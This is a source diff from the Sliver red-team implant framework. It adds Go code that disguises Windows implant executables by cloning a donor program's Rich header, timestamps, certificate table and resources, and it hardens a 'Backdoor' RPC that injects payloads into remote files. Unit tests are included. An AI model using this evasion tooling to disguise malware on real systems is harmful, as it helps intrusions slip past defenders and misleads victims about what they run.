}
// overwriteImplantBuild replaces dst message content without copying internal
// proto runtime state that includes lock values.
func overwriteImplantBuild(dst *clientpb.ImplantBuild, src *clientpb.ImplantBuild) {
if dst == nil || src == nil {
return
}
proto.Reset(dst)
proto.Merge(dst, src)
}
func SaveStage(build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, stage2 []byte, stageType string) error {
md5Hash, sha1Hash, sha256Hash := computeHashes(stage2)
buildsDir, err := getBuildsDir()
+732
View File
@@ -0,0 +1,732 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"encoding/binary"
"errors"
"fmt"
"os"
"github.com/Binject/debug/pe"
)
const (
SECTION_NAME = 8
DEFAULT_CHARACTERISTICS = 0x40000040
)
// SpoofMetadataConfig describes metadata mutation inputs by executable format.
// Additional executable formats can be added as new fields without changing the
// high-level API.
type SpoofMetadataConfig struct {
PE *PESpoofMetadataConfig `json:"pe,omitempty" yaml:"pe,omitempty"`
}
// PESpoofMetadataConfig contains PE-specific metadata mutation inputs.
type PESpoofMetadataConfig struct {
// Source is the donor PE for metadata/resource cloning.
Source *SpoofMetadataFile `json:"source,omitempty" yaml:"source,omitempty"`
// Icon is reserved for future standalone icon mutation support.
Icon *SpoofMetadataFile `json:"icon,omitempty" yaml:"icon,omitempty"`
// Optional PE structure overrides applied after donor metadata cloning.
ResourceDirectory *IMAGE_RESOURCE_DIRECTORY `json:"resource_directory,omitempty" yaml:"resource_directory,omitempty"`
ResourceDirectoryEntries []*IMAGE_RESOURCE_DIRECTORY_ENTRY `json:"resource_directory_entries,omitempty" yaml:"resource_directory_entries,omitempty"`
ResourceDataEntries []*IMAGE_RESOURCE_DATA_ENTRY `json:"resource_data_entries,omitempty" yaml:"resource_data_entries,omitempty"`
ExportDirectory *IMAGE_EXPORT_DIRECTORY `json:"export_directory,omitempty" yaml:"export_directory,omitempty"`
}
// SpoofMetadataFile is binary metadata content passed from the client.
type SpoofMetadataFile struct {
Name string `json:"name,omitempty" yaml:"name,omitempty"`
Data []byte `json:"data,omitempty" yaml:"data,omitempty"`
}
// PE STRUCTURE DEFINITIONS ===================================================
// ============================================================================
type IMAGE_RESOURCE_DIRECTORY struct {
Characteristics uint32
TimeDateStamp uint32
MajorVersion uint16
MinorVersion uint16
NumberOfNamedEntries uint16
NumberOfIdEntries uint16
}
type IMAGE_RESOURCE_DIRECTORY_ENTRY struct {
Name uint32
OffsetToData uint32
}
type IMAGE_RESOURCE_DATA_ENTRY struct {
OffsetToData uint32
Size uint32
CodePage uint32
Reserved uint32
}
type IMAGE_EXPORT_DIRECTORY struct {
Characteristics uint32
TimeDateStamp uint32
MajorVersion uint16
MinorVersion uint16
Name uint32
Base uint32
NumberOfFunctions uint32
NumberOfNames uint32
AddressOfFunctions uint32
AddressOfNames uint32
AddressOfNameOrdinals uint32
}
// CORE METADATA SPOOFING LOGIC ===============================================
// ============================================================================
func SpoofMetadata(targetPath string, metadata *SpoofMetadataConfig) error {
if metadata == nil {
return nil
}
if metadata.PE != nil {
if metadata.PE.Source == nil || len(metadata.PE.Source.Data) == 0 {
return errors.New("pe spoof metadata source data is required")
}
return spoofPEMetadata(targetPath, metadata.PE)
}
return errors.New("unsupported spoof metadata format")
}
func spoofPEMetadata(targetPath string, metadata *PESpoofMetadataConfig) error {
if metadata == nil || metadata.Source == nil {
return errors.New("pe spoof metadata source data is required")
}
spoofData := metadata.Source.Data
if len(spoofData) == 0 {
return nil
}
srcFile, err := pe.NewFile(bytes.NewReader(spoofData))
if err != nil {
return fmt.Errorf("failed to parse spoof file: %v", err)
}
defer srcFile.Close()
targetBytes, err := os.ReadFile(targetPath)
if err != nil {
return fmt.Errorf("failed to read target file: %v", err)
}
tgtFile, err := pe.NewFile(bytes.NewReader(targetBytes))
if err != nil {
return fmt.Errorf("failed to parse target file: %v", err)
}
defer tgtFile.Close()
// Rich Header Injection =======================================
if len(srcFile.RichHeader) > 0 {
tgtFile.RichHeader = srcFile.RichHeader
dosSize := uint32(binary.Size(tgtFile.DosHeader))
stubSize := uint32(0)
if tgtFile.DosExists {
stubSize = uint32(binary.Size(tgtFile.DosStub))
}
newOffset := dosSize + stubSize + uint32(len(tgtFile.RichHeader))
newOffset = alignUp(newOffset, 8)
tgtFile.DosHeader.AddressOfNewExeHeader = newOffset
}
// === Comprehensive Timestamp Cloning ===
timestamp := srcFile.FileHeader.TimeDateStamp
tgtFile.FileHeader.TimeDateStamp = timestamp
// === Digital Signature "Luring" ===
if len(srcFile.CertificateTable) > 0 {
tgtFile.CertificateTable = srcFile.CertificateTable
}
// === Resource Section Injection ===
srcRsrc := srcFile.Section(".rsrc")
if srcRsrc != nil {
srcRsrcData, err := srcRsrc.Data()
if err != nil {
return fmt.Errorf("failed to read source .rsrc data: %v", err)
}
var rsrcSection *pe.Section
rsrcSection = tgtFile.Section(".rsrc")
if rsrcSection != nil {
sectAlign := uint32(0x1000)
fileAlign := uint32(0x200)
switch hdr := tgtFile.OptionalHeader.(type) {
case *pe.OptionalHeader32:
sectAlign = hdr.SectionAlignment
fileAlign = hdr.FileAlignment
case *pe.OptionalHeader64:
sectAlign = hdr.SectionAlignment
fileAlign = hdr.FileAlignment
}
rsrcSection.VirtualSize = alignUp(uint32(len(srcRsrcData)), sectAlign)
rsrcSection.Size = alignUp(uint32(len(srcRsrcData)), fileAlign)
delta := int64(rsrcSection.VirtualAddress) - int64(srcRsrc.VirtualAddress)
newRsrcData := make([]byte, len(srcRsrcData))
copy(newRsrcData, srcRsrcData)
if err := fixupResourceRVAs(newRsrcData, delta); err != nil {
return fmt.Errorf("failed to fixup resource RVAs: %v", err)
}
updateResourceTimestamp(newRsrcData, timestamp)
rsrcSection.Replace(bytes.NewReader(newRsrcData), int64(len(newRsrcData)))
switch hdr := tgtFile.OptionalHeader.(type) {
case *pe.OptionalHeader32:
hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_RESOURCE].Size = rsrcSection.VirtualSize
case *pe.OptionalHeader64:
hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_RESOURCE].Size = rsrcSection.VirtualSize
}
} else {
newSection, err := addSection(tgtFile, ".rsrc", uint32(len(srcRsrcData)))
if err != nil {
return fmt.Errorf("failed to add .rsrc section: %v", err)
}
delta := int64(newSection.VirtualAddress) - int64(srcRsrc.VirtualAddress)
newRsrcData := make([]byte, len(srcRsrcData))
copy(newRsrcData, srcRsrcData)
if err := fixupResourceRVAs(newRsrcData, delta); err != nil {
return fmt.Errorf("failed to fixup resource RVAs: %v", err)
}
updateResourceTimestamp(newRsrcData, timestamp)
newSection.Replace(bytes.NewReader(newRsrcData), int64(len(newRsrcData)))
switch hdr := tgtFile.OptionalHeader.(type) {
case *pe.OptionalHeader32:
hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress = newSection.VirtualAddress
hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_RESOURCE].Size = newSection.VirtualSize
case *pe.OptionalHeader64:
hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress = newSection.VirtualAddress
hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_RESOURCE].Size = newSection.VirtualSize
}
}
}
// === Export Directory Timestamp ===
if err := updateExportTimestamp(tgtFile, timestamp); err != nil {
// since the payload will not export anything, it is safe to ignore this
_ = err
}
if err := applyPEMetadataOverrides(tgtFile, metadata); err != nil {
return fmt.Errorf("failed to apply PE metadata overrides: %w", err)
}
modifiedBytes, err := tgtFile.Bytes()
if err != nil {
return fmt.Errorf("failed to serialize modified PE: %v", err)
}
// === Checksum Re-calculation ===
peHeaderOffset := int(binary.LittleEndian.Uint32(modifiedBytes[0x3c:]))
checksumOffset := peHeaderOffset + 88
if checksumOffset+4 <= len(modifiedBytes) {
binary.LittleEndian.PutUint32(modifiedBytes[checksumOffset:], 0)
csum := calcChecksum(modifiedBytes)
binary.LittleEndian.PutUint32(modifiedBytes[checksumOffset:], csum)
}
if err := os.WriteFile(targetPath, modifiedBytes, 0755); err != nil {
return fmt.Errorf("failed to write modified binary: %v", err)
}
return nil
}
func applyPEMetadataOverrides(peFile *pe.File, metadata *PESpoofMetadataConfig) error {
if metadata == nil {
return nil
}
if err := applyPEResourceOverrides(peFile, metadata); err != nil {
return err
}
if err := applyPEExportOverrides(peFile, metadata.ExportDirectory); err != nil {
return err
}
return nil
}
func applyPEResourceOverrides(peFile *pe.File, metadata *PESpoofMetadataConfig) error {
if metadata == nil {
return nil
}
hasOverrides := metadata.ResourceDirectory != nil ||
len(metadata.ResourceDirectoryEntries) > 0 ||
len(metadata.ResourceDataEntries) > 0
if !hasOverrides {
return nil
}
rsrcSection := peFile.Section(".rsrc")
if rsrcSection == nil {
return errors.New("resource overrides requested but target PE has no .rsrc section")
}
resourceData, err := rsrcSection.Data()
if err != nil {
return err
}
modifiedData, err := applyResourceSectionOverrides(resourceData, metadata.ResourceDirectory, metadata.ResourceDirectoryEntries, metadata.ResourceDataEntries)
if err != nil {
return err
}
rsrcSection.Replace(bytes.NewReader(modifiedData), int64(len(modifiedData)))
return nil
}
func applyResourceSectionOverrides(
sectionData []byte,
resourceDirectory *IMAGE_RESOURCE_DIRECTORY,
resourceDirectoryEntries []*IMAGE_RESOURCE_DIRECTORY_ENTRY,
resourceDataEntries []*IMAGE_RESOURCE_DATA_ENTRY,
) ([]byte, error) {
hasOverrides := resourceDirectory != nil ||
len(resourceDirectoryEntries) > 0 ||
len(resourceDataEntries) > 0
if !hasOverrides {
return append([]byte(nil), sectionData...), nil
}
if len(sectionData) < 16 {
return nil, errors.New("resource section too small")
}
modifiedData := append([]byte(nil), sectionData...)
if resourceDirectory != nil {
binary.LittleEndian.PutUint32(modifiedData[0:4], resourceDirectory.Characteristics)
binary.LittleEndian.PutUint32(modifiedData[4:8], resourceDirectory.TimeDateStamp)
binary.LittleEndian.PutUint16(modifiedData[8:10], resourceDirectory.MajorVersion)
binary.LittleEndian.PutUint16(modifiedData[10:12], resourceDirectory.MinorVersion)
binary.LittleEndian.PutUint16(modifiedData[12:14], resourceDirectory.NumberOfNamedEntries)
binary.LittleEndian.PutUint16(modifiedData[14:16], resourceDirectory.NumberOfIdEntries)
}
if len(resourceDirectoryEntries) > 0 {
rootEntriesCount := int(binary.LittleEndian.Uint16(modifiedData[12:14])) +
int(binary.LittleEndian.Uint16(modifiedData[14:16]))
if len(resourceDirectoryEntries) > rootEntriesCount {
return nil, fmt.Errorf(
"resource_directory_entries has %d entries but root directory only has %d entries",
len(resourceDirectoryEntries),
rootEntriesCount,
)
}
for i, entry := range resourceDirectoryEntries {
if entry == nil {
continue
}
entryOffset := 16 + (i * 8)
if entryOffset+8 > len(modifiedData) {
return nil, errors.New("resource directory entry out of bounds")
}
binary.LittleEndian.PutUint32(modifiedData[entryOffset:entryOffset+4], entry.Name)
binary.LittleEndian.PutUint32(modifiedData[entryOffset+4:entryOffset+8], entry.OffsetToData)
}
}
if len(resourceDataEntries) > 0 {
dataEntryOffsets, err := collectResourceDataEntryOffsets(modifiedData)
if err != nil {
return nil, err
}
if len(resourceDataEntries) > len(dataEntryOffsets) {
return nil, fmt.Errorf(
"resource_data_entries has %d entries but resource tree only has %d data entries",
len(resourceDataEntries),
len(dataEntryOffsets),
)
}
for i, entry := range resourceDataEntries {
if entry == nil {
continue
}
dataEntryOffset := dataEntryOffsets[i]
if dataEntryOffset+16 > uint32(len(modifiedData)) {
return nil, errors.New("resource data entry out of bounds")
}
offset := int(dataEntryOffset)
binary.LittleEndian.PutUint32(modifiedData[offset:offset+4], entry.OffsetToData)
binary.LittleEndian.PutUint32(modifiedData[offset+4:offset+8], entry.Size)
binary.LittleEndian.PutUint32(modifiedData[offset+8:offset+12], entry.CodePage)
binary.LittleEndian.PutUint32(modifiedData[offset+12:offset+16], entry.Reserved)
}
}
return modifiedData, nil
}
func collectResourceDataEntryOffsets(data []byte) ([]uint32, error) {
offsets := make([]uint32, 0)
seen := map[uint32]struct{}{}
if err := traverseCollectResourceDataEntryOffsets(data, 0, 0, seen, &offsets); err != nil {
return nil, err
}
return offsets, nil
}
func traverseCollectResourceDataEntryOffsets(data []byte, offset uint32, depth int, seen map[uint32]struct{}, offsets *[]uint32) error {
if depth > 10 {
return nil
}
if offset+16 > uint32(len(data)) {
return errors.New("resource directory out of bounds")
}
var dir IMAGE_RESOURCE_DIRECTORY
br := bytes.NewReader(data[offset:])
if err := binary.Read(br, binary.LittleEndian, &dir); err != nil {
return err
}
entries := int(dir.NumberOfNamedEntries + dir.NumberOfIdEntries)
entryOffset := offset + 16
for i := 0; i < entries; i++ {
if entryOffset+8 > uint32(len(data)) {
return errors.New("resource directory entry out of bounds")
}
entryDataOffset := binary.LittleEndian.Uint32(data[entryOffset+4 : entryOffset+8])
if entryDataOffset&0x80000000 != 0 {
subDirOffset := entryDataOffset & 0x7FFFFFFF
if err := traverseCollectResourceDataEntryOffsets(data, subDirOffset, depth+1, seen, offsets); err != nil {
return err
}
} else {
if entryDataOffset+16 > uint32(len(data)) {
return errors.New("resource data entry out of bounds")
}
if _, exists := seen[entryDataOffset]; !exists {
seen[entryDataOffset] = struct{}{}
*offsets = append(*offsets, entryDataOffset)
}
}
entryOffset += 8
}
return nil
}
func applyPEExportOverrides(peFile *pe.File, exportDirectory *IMAGE_EXPORT_DIRECTORY) error {
if exportDirectory == nil {
return nil
}
section, sectionData, sectionOffset, err := exportDirectorySectionData(peFile)
if err != nil {
return err
}
if section == nil {
return nil
}
modifiedData, err := applyExportDirectoryOverrides(sectionData, sectionOffset, exportDirectory)
if err != nil {
return err
}
section.Replace(bytes.NewReader(modifiedData), int64(len(modifiedData)))
return nil
}
func applyExportDirectoryOverrides(sectionData []byte, sectionOffset uint32, exportDirectory *IMAGE_EXPORT_DIRECTORY) ([]byte, error) {
if exportDirectory == nil {
return append([]byte(nil), sectionData...), nil
}
const exportDirectorySize = 40
if sectionOffset+exportDirectorySize > uint32(len(sectionData)) {
return nil, errors.New("export directory out of bounds")
}
modifiedData := append([]byte(nil), sectionData...)
offset := int(sectionOffset)
binary.LittleEndian.PutUint32(modifiedData[offset:offset+4], exportDirectory.Characteristics)
binary.LittleEndian.PutUint32(modifiedData[offset+4:offset+8], exportDirectory.TimeDateStamp)
binary.LittleEndian.PutUint16(modifiedData[offset+8:offset+10], exportDirectory.MajorVersion)
binary.LittleEndian.PutUint16(modifiedData[offset+10:offset+12], exportDirectory.MinorVersion)
binary.LittleEndian.PutUint32(modifiedData[offset+12:offset+16], exportDirectory.Name)
binary.LittleEndian.PutUint32(modifiedData[offset+16:offset+20], exportDirectory.Base)
binary.LittleEndian.PutUint32(modifiedData[offset+20:offset+24], exportDirectory.NumberOfFunctions)
binary.LittleEndian.PutUint32(modifiedData[offset+24:offset+28], exportDirectory.NumberOfNames)
binary.LittleEndian.PutUint32(modifiedData[offset+28:offset+32], exportDirectory.AddressOfFunctions)
binary.LittleEndian.PutUint32(modifiedData[offset+32:offset+36], exportDirectory.AddressOfNames)
binary.LittleEndian.PutUint32(modifiedData[offset+36:offset+40], exportDirectory.AddressOfNameOrdinals)
return modifiedData, nil
}
func exportDirectorySectionData(peFile *pe.File) (*pe.Section, []byte, uint32, error) {
var va uint32
var size uint32
switch hdr := peFile.OptionalHeader.(type) {
case *pe.OptionalHeader32:
va = hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
size = hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].Size
case *pe.OptionalHeader64:
va = hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
size = hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].Size
}
if va == 0 || size == 0 {
return nil, nil, 0, nil
}
for _, section := range peFile.Sections {
if va >= section.VirtualAddress && va < section.VirtualAddress+section.Size {
sectionOffset := va - section.VirtualAddress
sectionData, err := section.Data()
if err != nil {
return nil, nil, 0, err
}
if sectionOffset > uint32(len(sectionData)) {
return nil, nil, 0, errors.New("export directory out of bounds")
}
return section, sectionData, sectionOffset, nil
}
}
return nil, nil, 0, nil
}
// INTERNAL UTILITIES AND FIXUPS ==============================================
// ============================================================================
func updateResourceTimestamp(data []byte, timestamp uint32) {
if len(data) < 16 {
return
}
binary.LittleEndian.PutUint32(data[4:], timestamp)
traverseUpdateTimestamp(data, 0, timestamp, 0)
}
func traverseUpdateTimestamp(data []byte, offset uint32, timestamp uint32, depth int) {
if depth > 10 || offset+16 > uint32(len(data)) {
return
}
binary.LittleEndian.PutUint32(data[offset+4:], timestamp)
var dir IMAGE_RESOURCE_DIRECTORY
br := bytes.NewReader(data[offset:])
if err := binary.Read(br, binary.LittleEndian, &dir); err != nil {
return
}
entries := int(dir.NumberOfNamedEntries + dir.NumberOfIdEntries)
entryOffset := offset + 16
for i := 0; i < entries; i++ {
if entryOffset+8 > uint32(len(data)) {
return
}
var entry IMAGE_RESOURCE_DIRECTORY_ENTRY
brEntry := bytes.NewReader(data[entryOffset:])
if err := binary.Read(brEntry, binary.LittleEndian, &entry); err != nil {
return
}
if entry.OffsetToData&0x80000000 != 0 {
subDirOffset := entry.OffsetToData & 0x7FFFFFFF
traverseUpdateTimestamp(data, subDirOffset, timestamp, depth+1)
}
entryOffset += 8
}
}
func updateExportTimestamp(peFile *pe.File, timestamp uint32) error {
section, sectionData, sectionOffset, err := exportDirectorySectionData(peFile)
if err != nil {
return err
}
if section == nil {
return nil
}
if uint32(len(sectionData)) > sectionOffset+8 {
binary.LittleEndian.PutUint32(sectionData[sectionOffset+4:], timestamp)
section.Replace(bytes.NewReader(sectionData), int64(len(sectionData)))
}
return nil
}
func fixupResourceRVAs(data []byte, delta int64) error {
return traverseResourceDir(data, 0, delta, 0)
}
func traverseResourceDir(data []byte, offset uint32, delta int64, depth int) error {
if depth > 10 {
return nil
}
if offset+16 > uint32(len(data)) {
return errors.New("resource directory out of bounds")
}
br := bytes.NewReader(data[offset:])
var dir IMAGE_RESOURCE_DIRECTORY
if err := binary.Read(br, binary.LittleEndian, &dir); err != nil {
return err
}
entries := int(dir.NumberOfNamedEntries + dir.NumberOfIdEntries)
entryOffset := offset + 16
for i := 0; i < entries; i++ {
if entryOffset+8 > uint32(len(data)) {
return errors.New("resource directory entry out of bounds")
}
var entry IMAGE_RESOURCE_DIRECTORY_ENTRY
brEntry := bytes.NewReader(data[entryOffset:])
if err := binary.Read(brEntry, binary.LittleEndian, &entry); err != nil {
return err
}
if entry.OffsetToData&0x80000000 != 0 {
subDirOffset := entry.OffsetToData & 0x7FFFFFFF
if err := traverseResourceDir(data, subDirOffset, delta, depth+1); err != nil {
return err
}
} else {
dataEntryOffset := entry.OffsetToData
if dataEntryOffset+16 > uint32(len(data)) {
return errors.New("resource data entry out of bounds")
}
var dataEntry IMAGE_RESOURCE_DATA_ENTRY
brData := bytes.NewReader(data[dataEntryOffset:])
if err := binary.Read(brData, binary.LittleEndian, &dataEntry); err != nil {
return err
}
newRVA := uint32(int64(dataEntry.OffsetToData) + delta)
binary.LittleEndian.PutUint32(data[dataEntryOffset:], newRVA)
}
entryOffset += 8
}
return nil
}
func calcChecksum(data []byte) uint32 {
var sum uint64
for i := 0; i < len(data)/2; i++ {
sum += uint64(binary.LittleEndian.Uint16(data[i*2:]))
sum = (sum & 0xffffffff) + (sum >> 32)
}
if len(data)%2 != 0 {
sum += uint64(data[len(data)-1])
sum = (sum & 0xffffffff) + (sum >> 32)
}
sum = (sum & 0xffff) + (sum >> 16)
sum = sum + (sum >> 16)
return uint32(sum&0xffff) + uint32(len(data))
}
func alignUp(value, align uint32) uint32 {
if align == 0 {
align = 0x1000
}
return (value + align - 1) & ^(align - 1)
}
func addSection(peFile *pe.File, name string, size uint32) (*pe.Section, error) {
var (
virtualSize uint32
virtualAddr uint32
rawSize uint32
rawPtr uint32
origName [8]byte
sectionHeaderSize = int64(0x28)
)
if len(name) > SECTION_NAME {
return nil, errors.New("name too long")
}
headerOffset := peFile.OptionalHeaderOffset + int64(peFile.SizeOfOptionalHeader) + (int64(peFile.NumberOfSections) * sectionHeaderSize)
lastSection := peFile.Sections[peFile.NumberOfSections-1]
var sectionAlignment, fileAlignment uint32
var sizeOfHeaders uint32
switch hdr := (peFile.OptionalHeader).(type) {
case *pe.OptionalHeader32:
sectionAlignment = hdr.SectionAlignment
fileAlignment = hdr.FileAlignment
sizeOfHeaders = hdr.SizeOfHeaders
case *pe.OptionalHeader64:
sectionAlignment = hdr.SectionAlignment
fileAlignment = hdr.FileAlignment
sizeOfHeaders = hdr.SizeOfHeaders
default:
return nil, errors.New("unknown optional header type")
}
if headerOffset+sectionHeaderSize > int64(sizeOfHeaders) {
return nil, errors.New("not enough room for an additional section")
}
virtualSize = alignUp(size, sectionAlignment)
virtualAddr = alignUp(lastSection.VirtualAddress+lastSection.VirtualSize, sectionAlignment)
rawSize = alignUp(size, fileAlignment)
rawPtr = alignUp(lastSection.Offset+lastSection.Size, fileAlignment)
switch hdr := (peFile.OptionalHeader).(type) {
case *pe.OptionalHeader32:
hdr.SizeOfImage = virtualAddr + virtualSize
case *pe.OptionalHeader64:
hdr.SizeOfImage = virtualAddr + virtualSize
}
newSection := new(pe.Section)
newSection.Name = name
copy(origName[:], []byte(name+"\x00"))
newSection.OriginalName = origName
newSection.Characteristics = DEFAULT_CHARACTERISTICS
newSection.Size = rawSize
newSection.VirtualSize = virtualSize
newSection.VirtualAddress = virtualAddr
newSection.Offset = rawPtr
peFile.FileHeader.NumberOfSections += 1
peFile.Sections = append(peFile.Sections, newSection)
return newSection, nil
}
+163
View File
@@ -0,0 +1,163 @@
package generate
import (
"encoding/binary"
"strings"
"testing"
)
func TestApplyResourceSectionOverrides(t *testing.T) {
sectionData := makeTestResourceSectionData()
updatedData, err := applyResourceSectionOverrides(
sectionData,
&IMAGE_RESOURCE_DIRECTORY{
Characteristics: 0x10203040,
TimeDateStamp: 0x50607080,
MajorVersion: 9,
MinorVersion: 7,
NumberOfNamedEntries: 0,
NumberOfIdEntries: 1,
},
[]*IMAGE_RESOURCE_DIRECTORY_ENTRY{
{Name: 77, OffsetToData: 24},
},
[]*IMAGE_RESOURCE_DATA_ENTRY{
{OffsetToData: 0x12345678, Size: 0x22, CodePage: 65001, Reserved: 1},
},
)
if err != nil {
t.Fatalf("applyResourceSectionOverrides() error: %v", err)
}
if got := binary.LittleEndian.Uint32(updatedData[0:4]); got != 0x10203040 {
t.Fatalf("resource directory characteristics mismatch: got=0x%x", got)
}
if got := binary.LittleEndian.Uint32(updatedData[4:8]); got != 0x50607080 {
t.Fatalf("resource directory timestamp mismatch: got=0x%x", got)
}
if got := binary.LittleEndian.Uint16(updatedData[8:10]); got != 9 {
t.Fatalf("resource directory major_version mismatch: got=%d", got)
}
if got := binary.LittleEndian.Uint16(updatedData[10:12]); got != 7 {
t.Fatalf("resource directory minor_version mismatch: got=%d", got)
}
if got := binary.LittleEndian.Uint32(updatedData[16:20]); got != 77 {
t.Fatalf("resource directory entry name mismatch: got=%d", got)
}
if got := binary.LittleEndian.Uint32(updatedData[20:24]); got != 24 {
t.Fatalf("resource directory entry offset mismatch: got=%d", got)
}
if got := binary.LittleEndian.Uint32(updatedData[24:28]); got != 0x12345678 {
t.Fatalf("resource data entry offset_to_data mismatch: got=0x%x", got)
}
if got := binary.LittleEndian.Uint32(updatedData[28:32]); got != 0x22 {
t.Fatalf("resource data entry size mismatch: got=%d", got)
}
if got := binary.LittleEndian.Uint32(updatedData[32:36]); got != 65001 {
t.Fatalf("resource data entry code_page mismatch: got=%d", got)
}
if got := binary.LittleEndian.Uint32(updatedData[36:40]); got != 1 {
t.Fatalf("resource data entry reserved mismatch: got=%d", got)
}
}
func TestApplyResourceSectionOverridesRootEntryBounds(t *testing.T) {
sectionData := makeTestResourceSectionData()
_, err := applyResourceSectionOverrides(
sectionData,
nil,
[]*IMAGE_RESOURCE_DIRECTORY_ENTRY{
{Name: 1, OffsetToData: 24},
{Name: 2, OffsetToData: 24},
},
nil,
)
if err == nil {
t.Fatal("expected error for root resource directory entry bounds")
}
if !strings.Contains(err.Error(), "root directory only has 1 entries") {
t.Fatalf("unexpected error: %v", err)
}
}
func TestApplyExportDirectoryOverrides(t *testing.T) {
sectionData := make([]byte, 80)
sectionOffset := uint32(12)
updatedData, err := applyExportDirectoryOverrides(sectionData, sectionOffset, &IMAGE_EXPORT_DIRECTORY{
Characteristics: 0x11111111,
TimeDateStamp: 0x22222222,
MajorVersion: 3,
MinorVersion: 4,
Name: 0x55555555,
Base: 0x66666666,
NumberOfFunctions: 0x77777777,
NumberOfNames: 0x88888888,
AddressOfFunctions: 0x99999999,
AddressOfNames: 0xaaaaaaaa,
AddressOfNameOrdinals: 0xbbbbbbbb,
})
if err != nil {
t.Fatalf("applyExportDirectoryOverrides() error: %v", err)
}
base := int(sectionOffset)
if got := binary.LittleEndian.Uint32(updatedData[base : base+4]); got != 0x11111111 {
t.Fatalf("export characteristics mismatch: got=0x%x", got)
}
if got := binary.LittleEndian.Uint32(updatedData[base+4 : base+8]); got != 0x22222222 {
t.Fatalf("export timestamp mismatch: got=0x%x", got)
}
if got := binary.LittleEndian.Uint16(updatedData[base+8 : base+10]); got != 3 {
t.Fatalf("export major_version mismatch: got=%d", got)
}
if got := binary.LittleEndian.Uint16(updatedData[base+10 : base+12]); got != 4 {
t.Fatalf("export minor_version mismatch: got=%d", got)
}
if got := binary.LittleEndian.Uint32(updatedData[base+12 : base+16]); got != 0x55555555 {
t.Fatalf("export name mismatch: got=0x%x", got)
}
if got := binary.LittleEndian.Uint32(updatedData[base+16 : base+20]); got != 0x66666666 {
t.Fatalf("export base mismatch: got=0x%x", got)
}
if got := binary.LittleEndian.Uint32(updatedData[base+20 : base+24]); got != 0x77777777 {
t.Fatalf("export number_of_functions mismatch: got=0x%x", got)
}
if got := binary.LittleEndian.Uint32(updatedData[base+24 : base+28]); got != 0x88888888 {
t.Fatalf("export number_of_names mismatch: got=0x%x", got)
}
if got := binary.LittleEndian.Uint32(updatedData[base+28 : base+32]); got != 0x99999999 {
t.Fatalf("export address_of_functions mismatch: got=0x%x", got)
}
if got := binary.LittleEndian.Uint32(updatedData[base+32 : base+36]); got != 0xaaaaaaaa {
t.Fatalf("export address_of_names mismatch: got=0x%x", got)
}
if got := binary.LittleEndian.Uint32(updatedData[base+36 : base+40]); got != 0xbbbbbbbb {
t.Fatalf("export address_of_name_ordinals mismatch: got=0x%x", got)
}
}
func makeTestResourceSectionData() []byte {
data := make([]byte, 40)
// Root IMAGE_RESOURCE_DIRECTORY (16 bytes)
binary.LittleEndian.PutUint32(data[0:4], 0x01020304) // Characteristics
binary.LittleEndian.PutUint32(data[4:8], 0x05060708) // TimeDateStamp
binary.LittleEndian.PutUint16(data[8:10], 1) // MajorVersion
binary.LittleEndian.PutUint16(data[10:12], 2) // MinorVersion
binary.LittleEndian.PutUint16(data[12:14], 0) // NumberOfNamedEntries
binary.LittleEndian.PutUint16(data[14:16], 1) // NumberOfIdEntries
// One IMAGE_RESOURCE_DIRECTORY_ENTRY at offset 16.
binary.LittleEndian.PutUint32(data[16:20], 10) // Name
binary.LittleEndian.PutUint32(data[20:24], 24) // OffsetToData (points to IMAGE_RESOURCE_DATA_ENTRY)
// One IMAGE_RESOURCE_DATA_ENTRY at offset 24.
binary.LittleEndian.PutUint32(data[24:28], 0x2000) // OffsetToData
binary.LittleEndian.PutUint32(data[28:32], 0x40) // Size
binary.LittleEndian.PutUint32(data[32:36], 0) // CodePage
binary.LittleEndian.PutUint32(data[36:40], 0) // Reserved
return data
}
+8 -1
View File
@@ -39,6 +39,11 @@ import (
// Backdoor - Inject a sliver payload in a file on the remote system
func (rpc *Server) Backdoor(ctx context.Context, req *clientpb.BackdoorReq) (*clientpb.Backdoor, error) {
resp := &clientpb.Backdoor{}
if req == nil || req.Request == nil {
return resp, ErrMissingRequestField
}
var (
name string
err error
@@ -55,8 +60,10 @@ func (rpc *Server) Backdoor(ctx context.Context, req *clientpb.BackdoorReq) (*cl
name = req.Name
}
resp := &clientpb.Backdoor{}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
}
if session.OS != "windows" {
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("%s is currently not supported", session.OS))
}
+239
View File
@@ -146,6 +146,8 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
Name: fileName,
Data: fileData,
},
ImplantName: build.Name,
ImplantBuildID: build.ID,
}, err
}
@@ -173,9 +175,246 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
Name: build.Name + config.Extension,
Data: fileData,
},
ImplantName: build.Name,
ImplantBuildID: build.ID,
}, nil
}
// GenerateSpoofMetadata applies spoof metadata to an existing build artifact.
func (rpc *Server) GenerateSpoofMetadata(_ context.Context, req *clientpb.GenerateSpoofMetadataReq) (*commonpb.Empty, error) {
build, err := spoofMetadataTargetBuild(req)
if err != nil {
return nil, err
}
spoofConfig, err := spoofMetadataConfigFromProto(req.GetSpoofMetadata())
if err != nil {
return nil, err
}
buildData, err := generate.ImplantFileFromBuild(build)
if err != nil {
return nil, rpcError(err)
}
